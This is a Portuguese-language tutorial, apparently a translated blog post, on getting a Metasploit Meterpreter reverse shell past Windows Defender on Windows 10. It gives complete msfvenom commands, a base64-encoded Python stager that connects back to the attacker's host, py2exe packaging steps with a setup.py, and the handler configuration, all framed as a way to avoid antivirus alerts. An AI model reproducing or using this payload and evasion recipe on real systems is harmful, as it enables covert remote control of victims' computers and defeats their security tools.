Olá pessoal. Hoje, consideraremos a opção de executar sessões de multímetro em uma máquina Windows 10 com os patches mais recentes (incluindo o Windows Defender). E também vamos ignorar antivírus. O Meterpreter é um enchimento multifuncional avançado (carga útil, carga), que pode ser expandido dinamicamente em tempo de execução. Em circunstâncias normais, isso fornece um shell básico e permite adicionar novos recursos a ele, conforme necessário.
Vamos fazer isso usando Python e ver como as ferramentas antivírus se comportam.
Prevendo a pergunta: “Precisamos do Python na máquina vítima para executar o exe?”, Responderei imediatamente - não, não é necessário, tudo já está dentro.
Neste artigo, usaremos:
- Windows 10 com Windows Defender ativado com bancos de dados atualizados (computador vítima 192.168.1.113);
- Kali linux para usar metasploit e msfvenom (192.168.1.126);
- Windows 10 para montar o binário (em nosso laboratório, ele combina com o computador da vítima) com os instalados;
- Python (3, mas também para 2, veremos);
- py2exe .
Para começar, descrevemos o problema: crie um arquivo exe com uma carga padrão, copie-o para a máquina da vítima e veja o que ele leva.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe
Recebemos um aviso do nosso velho amigo Windows Defender, a quem todos gostamos muito.
Se perguntarmos ao VirusTotal, ele dirá o seguinte:

Vamos rodar o Python e fazer o que todos nós fazemos juntos.
Python / meterpreter / reverse_tcp é um Metasploit Framework de carga útil entre plataformas único que permite controlar remotamente um computador comprometido. Não é necessário pensar em qual plataforma escolher; ela funcionará em qualquer uma, mas, neste caso, criaremos um arquivo executável para ele no Windows.
Primeiro, instale o pacote py2exe, que permite tornar o Windows executável a partir de um script Python.
Nós o teremos Python 3.4 (todas as opções acima não suportam py2exe).
py -3.4 –m pip install py2exe
ou
pip install py2exe
Em seguida, crie um código Python bruto com a extensão .py
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py
Também na saída do msfvenom, precisamos adicionar a importação getpass, que ele esquece de fazer sozinho. No final, deve ficar assim:
import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK')))
Agora estamos prontos para criar um binário.
python34 -m py2exe.build_exe hunt.py --bundle-files 0
Você deve obter o seguinte:

Vejamos novamente o VirusTotal:

Já melhor, agora vamos verificar em ação - depois de copiar para a máquina da vítima, ficaremos sem alertas.
Paralelamente, execute nosso msf e manipulador para python executando os seguintes comandos em sequência:
msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run

Vamos em frente e verifique se a sessão está funcionando corretamente.

Assim, a sessão é iniciada e o Windows Defender não funcionou, e era o que estávamos almejando.
Ao mesmo tempo, vejamos o que fazer se você tiver a versão 2 do Python.
- Baixar py2exe para python 2
- Gere carga útil com extensão .py
- Criamos o arquivo setup.py e escrevemos o seguinte lá:
from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, )
python.exe .\setup.py py2exe
Tudo deve ser o mesmo.
Como resultado, notei que o shell do medidor python é inferior em funcionalidade ao medidor mais familiar do Windows. Por exemplo, você não poderá migrar para o processo ou usar comandos como o sistema gets, mas, no entanto, essa é uma alternativa real: obtenha uma sessão para trabalhar com o msf (pelo menos roteamento e portfwd) e continue trabalhando dentro da rede.